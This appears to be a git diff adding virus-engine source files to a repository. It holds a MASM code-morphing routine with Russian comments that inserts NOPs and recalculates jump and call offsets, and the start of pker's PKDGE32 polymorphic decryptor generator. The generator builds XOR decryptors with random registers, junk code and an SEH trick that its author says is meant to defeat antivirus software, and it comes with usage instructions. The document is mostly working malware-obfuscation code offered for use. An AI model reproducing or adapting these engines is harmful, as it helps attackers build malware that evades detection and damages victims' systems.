get_jump_address proc dwCurrentAddress : DWORD
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
|
||||
mov edi, dwCurrentAddress
|
||||
mov al, byte ptr [edi]
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; XX imm8
|
||||
cmp al, 070h
|
||||
jl @F
|
||||
cmp al, 07Fh
|
||||
jna @_jump_imm8_
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
cmp al, 0EBh
|
||||
je @_jump_uncond_imm8_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; 0F XX imm32
|
||||
cmp al, 00Fh
|
||||
jne @F
|
||||
mov ah, byte ptr [edi + 1]
|
||||
cmp ah, 080h
|
||||
jl @F
|
||||
cmp ah, 08Fh
|
||||
jna @_jump_imm32_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32
|
||||
cmp al, 0E9h
|
||||
je @_jump_uncond_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; CALL
|
||||
cmp al, 0E8h
|
||||
je @_call_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@_jump_imm8_:
|
||||
@_jump_uncond_imm8_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Короткие прыжки
|
||||
movzx eax, byte ptr [edi + 1]
|
||||
mov cl, al
|
||||
test cl, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_1
|
||||
add edi, eax
|
||||
add edi, 2
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_1:
|
||||
neg al
|
||||
sub al, 2
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
|
||||
@_jump_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Длинные прыжки
|
||||
mov eax, dword ptr [edi + 2]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_2
|
||||
add eax, edi
|
||||
add eax, 6
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_2:
|
||||
neg eax
|
||||
sub eax, 6
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
@_jump_uncond_imm32_:
|
||||
@_call_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32 & CALL imm32
|
||||
mov eax, dword ptr [edi + 1]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_3
|
||||
add edi, eax
|
||||
add edi, 5
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_3:
|
||||
neg eax
|
||||
sub eax, 5
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
;///////////////////////////////////////
|
||||
@_exit_:
|
||||
|
||||
pop edi
|
||||
pop ecx
|
||||
|
||||
ret
|
||||
get_jump_address endp
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для поиска в массиве описаний инструкций |
|
||||
; Нового адреса для прыжка.... |
|
||||
; |
|
||||
; IN dwAddress - Адрес прыжка |
|
||||
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||
; OUT EAX - Новый адрес прыжка... |
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||
push ecx
|
||||
|
||||
assume ecx : ptr _OPCODE
|
||||
mov ecx, pOpcodes
|
||||
mov eax, dwAddress
|
||||
|
||||
@@:
|
||||
cmp [ecx].dwOldAddress, eax
|
||||
je @F
|
||||
add ecx, sizeof _OPCODE
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @B
|
||||
xor eax, eax
|
||||
@@:
|
||||
mov eax, [ecx].dwNewAddress
|
||||
|
||||
pop ecx
|
||||
ret
|
||||
get_new_jump_address endp
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция разбавляет определённый код, инструкцией NOP |
|
||||
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||
; OUT EAX - Размер проморфленного кода |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||
local pOpcodes : DWORD
|
||||
local dwTotalCodeSize : DWORD
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; pOpcodes - Указатель на описания опкодов ::
|
||||
; dwOutputBuffer - Проморфленный код ::
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем памяти для массива с описаниям инструкций
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov pOpcodes, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Обнулим переменную в которую будем заносить
|
||||
; Общий размер кода
|
||||
push 0
|
||||
pop dwTotalCodeSize
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::
|
||||
; Без комментариев
|
||||
assume ecx : ptr _OPCODE
|
||||
mov esi, dwCodeAddress ; Code Address
|
||||
mov edi, dwOutputBuffer ; New Code Address
|
||||
mov ecx, pOpcodes ; array of _OPCODES
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Первый этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Укажем для первой инструкции её новый адрес что в EDI
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Начинаем цикл
|
||||
; Loop 1
|
||||
@_loop_1:
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Узнаем длинну у инструкции
|
||||
; IN ESI == Current Code Offset
|
||||
; OUT EAX == Instruction Length
|
||||
call c_Catchy
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Занесём данные в массив с описаниями
|
||||
mov [ecx].dwOldAddress, esi
|
||||
mov [ecx].dwLength, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Короткие условные прыжки меняем на длинные
|
||||
; Они отличаются от длинных префиксом 00Fh
|
||||
; в начале и +10h к текущему опкоду прыжка
|
||||
; Пример:
|
||||
; Было :00000000: 74 30
|
||||
; 0F +10 30 00 00 00
|
||||
; Стало:00000000: 0F 84 30 00 00 00
|
||||
cmp byte ptr [esi], 070h
|
||||
jl @F
|
||||
cmp byte ptr [esi], 07Fh
|
||||
ja @F
|
||||
push eax
|
||||
mov al, 00Fh
|
||||
stosb
|
||||
|
||||
movzx eax, byte ptr [esi]
|
||||
add eax, 10h
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||
; где XX » [80h..8Fh]
|
||||
add dwTotalCodeSize, 6
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Пропустим перенос маленького прыжка
|
||||
; Переходим к следующей инструкции
|
||||
jmp @_next_inst_
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Меняем...
|
||||
; JMP imm8 -> JMP imm32
|
||||
; Пример
|
||||
; Было : 00000000: EB 33
|
||||
; Стало: 00000000: E9 33 00 00 00
|
||||
cmp byte ptr [esi], 0EBh
|
||||
jne @F
|
||||
push eax
|
||||
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
xor eax, eax
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
;:::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну E9 imm32, т.е. число 5
|
||||
add dwTotalCodeSize, 5
|
||||
jmp @_next_inst_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на JMP imm32
|
||||
cmp byte ptr [esi], 0E9h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на CALL
|
||||
cmp byte ptr [esi], 0E8h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XX imm32
|
||||
cmp byte ptr [esi], 00Fh
|
||||
jne @F
|
||||
cmp byte ptr [esi + 1], 080h
|
||||
jl @F
|
||||
cmp byte ptr [esi + 1], 08Fh
|
||||
ja @F
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
|
||||
@_replace_instr_:
|
||||
;::::::::::::::::::::::::::::::::::::::::::
|
||||
; Переносим инструкцию в новый буффер.
|
||||
; Этот код выполниться в том случае
|
||||
; Если мы не меняли оригинальные инструкции
|
||||
push esi
|
||||
push ecx
|
||||
|
||||
mov ecx, eax
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop esi
|
||||
|
||||
; Добавим к общему размеру кода
|
||||
; длинну текущей инструкции
|
||||
add dwTotalCodeSize, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; сюда прыгаем если мы заменили текущую инструкцию на свою
|
||||
@_next_inst_:
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Разбавляем код инструкцией NOP
|
||||
; Тут можно разбавлять код
|
||||
; любыми "пустыми" инструкциями
|
||||
; вида:
|
||||
;--------------
|
||||
; push eax
|
||||
; pop eax
|
||||
;--------------
|
||||
; mov eax, eax
|
||||
;--------------
|
||||
; и т.д.
|
||||
push eax
|
||||
mov al, 90h
|
||||
stosb
|
||||
pop eax
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Увеличим общий размер кода на 1 (Длинна инструкции NOP)
|
||||
; Так же если будете добавлять свой "пустой" код
|
||||
; Нужно будет прибавить к dwTotalCodeSize его общую длинну(!)
|
||||
add dwTotalCodeSize, 1
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Перейдём к следующей инструкции
|
||||
add esi, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; перейдём к следующему элементу
|
||||
; в нашей таблице с описаниями опкодов
|
||||
add ecx, sizeof _OPCODE
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Заносим новый адрес у следующей инструкции
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Доходим до int 3
|
||||
; Это значит что код закончился....
|
||||
; и следовательно нам тут делать уже нечего.
|
||||
cmp byte ptr [esi], 0CCh
|
||||
jne @_loop_1
|
||||
; End Loop 1
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Укажем что массив с описаниями закончился
|
||||
mov [ecx].dwOldAddress, 0
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Второй этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
mov ecx, pOpcodes
|
||||
@_loop_2:
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Если инструкция является прыжком или вызовом
|
||||
; то dwJumpAddress != 0 (!)
|
||||
cmp [ecx].dwJumpAddress, 0
|
||||
je @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Получим новый адрес адрес куда должен
|
||||
; указывать прыжок или вызов
|
||||
push pOpcodes
|
||||
push [ecx].dwJumpAddress
|
||||
call get_new_jump_address
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Проверим результат на нуль.
|
||||
; По идее тут проверки быть не должно
|
||||
; ибо EAX (если весь код по адресу dwCodeAddress был корректным)
|
||||
; никогда не будет равняться нулю
|
||||
; и эти 2 строчки лишние, но мне захотелось
|
||||
; всётаки их написать :)))
|
||||
cmp eax, 0
|
||||
je @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::
|
||||
; Проверим адрес какой инструкции
|
||||
; нужно поменять на новый
|
||||
mov edx, [ecx].dwNewAddress
|
||||
;:::::::::::::::::::::::::
|
||||
; Длинные условные прыжки
|
||||
; 00Fh XXh imm32
|
||||
cmp byte ptr [edx], 00Fh
|
||||
je @_0F_XX_imm32
|
||||
;:::::::::::::::::::::::::::
|
||||
; Длинный безусловный прыжок
|
||||
; JMP imm32
|
||||
cmp byte ptr [edx], 0E9h
|
||||
je @_XXX_imm32_
|
||||
;::::::::::::::::::::::
|
||||
; Вызов (CALL imm32)
|
||||
cmp byte ptr [edx], 0E8h
|
||||
je @_XXX_imm32_
|
||||
;::::::::::::::::::::::
|
||||
jmp @F
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XXh imm32
|
||||
; Нам нужно заменить есстественно imm32
|
||||
; что находится по смещению [АДРЕС ПРЫЖКА + 2]
|
||||
; Пример:
|
||||
; 00Fh 84 imm32 ; JE imm32
|
||||
; 00Fh 85 imm32 ; JNE imm32
|
||||
@_0F_XX_imm32:
|
||||
cmp eax, [ecx].dwNewAddress
|
||||
jle @_less_or_equal_1
|
||||
push eax
|
||||
sub eax, [ecx].dwNewAddress
|
||||
sub eax, 6
|
||||
mov edx, [ecx].dwNewAddress
|
||||
mov dword ptr [edx + 2], eax
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
@_less_or_equal_1:
|
||||
push eax
|
||||
mov edx, [ecx].dwNewAddress
|
||||
sub edx, eax
|
||||
neg edx
|
||||
sub edx, 6
|
||||
mov eax, [ecx].dwNewAddress
|
||||
mov dword ptr [eax + 2], edx
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Смещение imm32 в инструкциях JMP и CALL
|
||||
; одно и тоже, следовательно код обработки
|
||||
; нового адреса у них можно сделать одним
|
||||
; imm32 находится по смещению [АДРЕС ПРЫЖКА + 1]
|
||||
; Пример:
|
||||
; E9 imm32
|
||||
; E8 imm32
|
||||
; :)
|
||||
@_XXX_imm32_:
|
||||
cmp eax, [ecx].dwNewAddress
|
||||
jle @_less_or_equal_2
|
||||
push eax
|
||||
sub eax, [ecx].dwNewAddress
|
||||
sub eax, 5
|
||||
mov edx, [ecx].dwNewAddress
|
||||
mov dword ptr [edx + 1], eax
|
||||
pop eax
|
||||
jmp @F
|
||||
|
||||
@_less_or_equal_2:
|
||||
push eax
|
||||
mov edx, [ecx].dwNewAddress
|
||||
sub edx, eax
|
||||
neg edx
|
||||
sub edx, 5
|
||||
mov eax, [ecx].dwNewAddress
|
||||
mov dword ptr [eax + 1], edx
|
||||
pop eax
|
||||
jmp @F
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::
|
||||
; Перейдём к следующем описанию
|
||||
; Следующего опкода :)
|
||||
add ecx, sizeof _OPCODE
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Повторяем до тех пор пока
|
||||
; не наткнёмся на конец массива
|
||||
; На это указывает Нуль в dwOldAddress
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @_loop_2
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Освободим память что занимали
|
||||
invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE
|
||||
|
||||
@_exit_:
|
||||
|
||||
mov eax, dwTotalCodeSize
|
||||
ret
|
||||
MorphCode endp
|
||||
|
||||
.data
|
||||
; Буфер куда занесём проморфленный код
|
||||
dwOutputBuffer dd 0
|
||||
|
||||
; Размер буфера
|
||||
dwOutputBufferSize dd 0
|
||||
|
||||
; Кол-во байт записанных в фаил
|
||||
dwBytesWritten dd 0
|
||||
|
||||
; Имя файлика в который запишем проморфленный код
|
||||
szFileName db 'morphed_code_dump_raw.bin',0
|
||||
|
||||
; Текст для MessageBoxA
|
||||
szComplete db 'Complete! :)', 0
|
||||
.code
|
||||
|
||||
start:
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем память для проморфленного кода
|
||||
; Размер можете выставить конечноже свой
|
||||
; Всё зависит от кол-ва кода что собираетесь Морфить
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov dwOutputBuffer, eax
|
||||
|
||||
;::::::::::::::::
|
||||
; Морфим код.....
|
||||
invoke MorphCode, offset test_code, dwOutputBuffer
|
||||
mov dwOutputBufferSize, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::
|
||||
; Дампим проморфленный код в фаил
|
||||
invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
|
||||
push eax
|
||||
invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL
|
||||
call CloseHandle
|
||||
|
||||
;:::::::::::::::::
|
||||
; Освободим память
|
||||
invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE
|
||||
|
||||
;:::::::::::::::::
|
||||
; Мессадж :)
|
||||
invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION
|
||||
|
||||
;:::::::::::::::::
|
||||
; Выход)
|
||||
xor eax, eax
|
||||
ret
|
||||
end start
|
||||
|
||||
; #########################################################################
|
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
File diff suppressed because it is too large
Load Diff
1922
Engines/Virus.Win32.Nazka.528
Normal file
1922
Engines/Virus.Win32.Nazka.528
Normal file
File diff suppressed because it is too large
Load Diff
928
Engines/Virus.Win32.Pker.inc
Normal file
928
Engines/Virus.Win32.Pker.inc
Normal file
@ -0,0 +1,928 @@
|
||||
;
|
||||
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
|
||||
; ======================================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; I wanted to code a polymorphic engine when I first started coding this. Then
|
||||
; I got the idea of generating decrypt code dynamically instead of morphing the
|
||||
; original decrypt code. The generated decryptor uses random registerz, with
|
||||
; junk code inserted, and it's instruction-permutable. When coding, I found
|
||||
; that the name 'decrypt generation engine' is more appropriate than a poly-
|
||||
; morphic engine, so I renamed it to PKDBE32.
|
||||
;
|
||||
; Generally, the decrypt code looks like the following:
|
||||
;
|
||||
; mov Rw,offset code2decrypt ; (1)
|
||||
; mov Rz,decrypt_size ; (2)
|
||||
; decrypt_loop: xor byte [Rw],imm8 ; (3)
|
||||
; inc Rw ; (4)
|
||||
; dec Rz ; (5)
|
||||
; jnz decrypt_loop ; (6)
|
||||
;
|
||||
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
|
||||
; this means the we can use random registerz in the decrypt code. The engine
|
||||
; can select random registerz to generate each instruction. Meanwhile, the
|
||||
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
|
||||
; tionz in a random order. Also, we know that some of the instructionz can be
|
||||
; replaced by other instructionz that performed the same. For example, we can
|
||||
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
|
||||
; will insert junk codez after each instructionz.
|
||||
;
|
||||
; One more thing, the engine setup a SEH frame before the decrypt code in order
|
||||
; to fuck some AVsoftz. And of course, there're also junk codez between these
|
||||
; instructionz.
|
||||
;
|
||||
; The SEH frame's like the following code:
|
||||
;
|
||||
; start: call setup_seh ; (1)
|
||||
; mov esp,[esp+8] ; (2)
|
||||
; jmp end_seh ; (3)
|
||||
; setup_seh: xor Rx,Rx ; (4)
|
||||
; push dword [fs:Rx] ; (5)
|
||||
; mov [fs:Rx],esp ; (6)
|
||||
; dec dword [Rx] ; (7)
|
||||
; jmp start ; (8)
|
||||
; end_seh: xor Ry,Ry ; (9)
|
||||
; pop dword [fs:Ry] ; (10)
|
||||
; pop Rz ; (11)
|
||||
;
|
||||
; Then comes the real decrypt code (generated by this engine).
|
||||
;
|
||||
;
|
||||
; How to use it?
|
||||
; --------------
|
||||
;
|
||||
; This engine can compile with FASM, TASM and MASM, etc.
|
||||
;
|
||||
; When using FASM we can:
|
||||
;
|
||||
; decryptor: times 40h db 90h
|
||||
; crypt_code: ...
|
||||
; crypted_size = $-crypt_code
|
||||
; rng_seed dd ?
|
||||
;
|
||||
; gen_decrytpor: mov edi,decryptor
|
||||
; mov esi,rng_seed
|
||||
; mov ebx,crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; mov edx,9ah
|
||||
; call __pkdge32
|
||||
;
|
||||
; When using TASM or MASM we should:
|
||||
;
|
||||
; decryptor db 40h dup (90h)
|
||||
; crypt_code: ...
|
||||
; crypted_size = $-crypt_code
|
||||
; rng_seed dd ?
|
||||
;
|
||||
; gen_decrytpor: mov edi,offset decryptor
|
||||
; mov esi,offset rng_seed
|
||||
; mov ebx,offset crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; mov edx,9ah
|
||||
; call __pkdge32
|
||||
;
|
||||
; One more feature, the engine returns the address of the code2decrypt field in
|
||||
; the decryptor, so we can fix this value after generating the decryptor. This
|
||||
; means we can replace the code which to be decrypt anywhere after generating
|
||||
; the decrypt code. We can replace our code which to be decrypted just after
|
||||
; the decryptor, without padding so many NOPz between them :P
|
||||
;
|
||||
; We could code like this:
|
||||
;
|
||||
; col_code: times crypted_size+200h db 0
|
||||
;
|
||||
; gen_decrytpor: mov edi,col_code
|
||||
; mov esi,rng_seed
|
||||
; mov ecx,crypted_size
|
||||
; mov ebx,12345678h
|
||||
; mov edx,12345678h
|
||||
; call __pkdge32
|
||||
; fix_address: mov esi,edi
|
||||
; xchg eax,edi
|
||||
; stosd
|
||||
; xchg esi,edi
|
||||
; copy_code: mov esi,crypt_code
|
||||
; mov ecx,crypted_size
|
||||
; rep movsb
|
||||
;
|
||||
; Well, enjoy it!
|
||||
;
|
||||
;
|
||||
; Copyright
|
||||
; ---------
|
||||
;
|
||||
; (c) 2004. No rightz reserved. Use without permission :P.
|
||||
;
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32 procedure
|
||||
; ===================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This is the main procedure of the engine. It controlz the whole generation
|
||||
; process, including SEH setup, instruction generation, junk code insertion,
|
||||
; etc.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; ecx --- decrypt buffer size (counter in bytez)
|
||||
; edx --- decrypt key
|
||||
; edi --- pointz to the buffer to save decryptor
|
||||
; ebx --- pointz to the buffer where saved the encrypted code
|
||||
; esi --- pointz to the RNG seed buffer
|
||||
;
|
||||
; Output:
|
||||
; edi --- the end of the decryptor
|
||||
; eax --- pointz to the address of the code which will be decrypted in
|
||||
; the decryptor, this means we can place the code which will be
|
||||
; decrypted anywhere by fixing the value pointed by EAX
|
||||
;
|
||||
|
||||
__pkdge32: pushad
|
||||
xor ebp,ebp
|
||||
xchg esi,edi ; initialize the RNG seed
|
||||
call __randomize ; ...
|
||||
xchg esi,edi ; ...
|
||||
|
||||
;
|
||||
; First, we select four random registerz for later use. These four registerz
|
||||
; are all different
|
||||
;
|
||||
|
||||
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
|
||||
call pkdg_sel_reg
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
call pkdg_sel_reg
|
||||
shl ebx,4
|
||||
or bl,al
|
||||
|
||||
;
|
||||
; We setup a SEH frame, then we raise an exception and run the following codez.
|
||||
; This action may fuck some of the AVsoftz.
|
||||
;
|
||||
|
||||
push edi
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0e8h ; seh instruction 1
|
||||
stosb ; ...
|
||||
stosd ; addr 1, no matter what, fix l8r
|
||||
push edi ; save addr1 to fix
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,0824648bh ; seh instruction 2
|
||||
stosd ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; seh instruction 3
|
||||
stosb ; ...
|
||||
stosb ; addr 2, no matter what, fix l8r
|
||||
push edi ; save addr2 to fix
|
||||
mov eax,[esp+4] ; fix addr1
|
||||
xchg edi,eax ; ...
|
||||
sub eax,edi ; ...
|
||||
sub edi,4 ; ...
|
||||
stosd ; ...
|
||||
add edi,eax ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov ah,bl ; seh instruction 4
|
||||
and ah,7 ; ...
|
||||
or eax,0c031h ; ...
|
||||
push ebx ; ...
|
||||
and ebx,7 ; ...
|
||||
shl ebx,11 ; ...
|
||||
or eax,ebx ; ...
|
||||
pop ebx ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,0ff64h ; seh instruction 5
|
||||
stosw ; ...
|
||||
mov al,bl ; ...
|
||||
and eax,7 ; ...
|
||||
or al,30h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,8964h ; seh instruction 6
|
||||
stosw ; ...
|
||||
mov al,bl ; ...
|
||||
and eax,7 ; ...
|
||||
or al,20h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov ah,bl ; seh instruction 7
|
||||
and eax,700h ; ...
|
||||
or eax,08ffh ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; seh instruction 8
|
||||
stosb ; ...
|
||||
mov eax,[esp+8] ; ...
|
||||
sub eax,edi ; ...
|
||||
dec eax ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
pop eax ; fix addr2
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
dec edi ; ...
|
||||
stosb ; ...
|
||||
add edi,eax ; ...
|
||||
mov ah,bh ; seh instruction 9
|
||||
and eax,700h ; ...
|
||||
or eax,0c031h ; ...
|
||||
push ebx ; ...
|
||||
and ebx,700h ; ...
|
||||
shl ebx,3 ; ...
|
||||
or eax,ebx ; ...
|
||||
pop ebx ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,8f64h ; seh instruction 10
|
||||
stosw ; ...
|
||||
mov al,bh ; ...
|
||||
and eax,7 ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,bh ; seh instruction 11
|
||||
and al,7 ; ...
|
||||
or al,58h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
add esp,8 ; balance the stack
|
||||
|
||||
;
|
||||
; Now, generate the first two instructionz with junk codez between them, and
|
||||
; permute the two instructionz in a random order.
|
||||
;
|
||||
|
||||
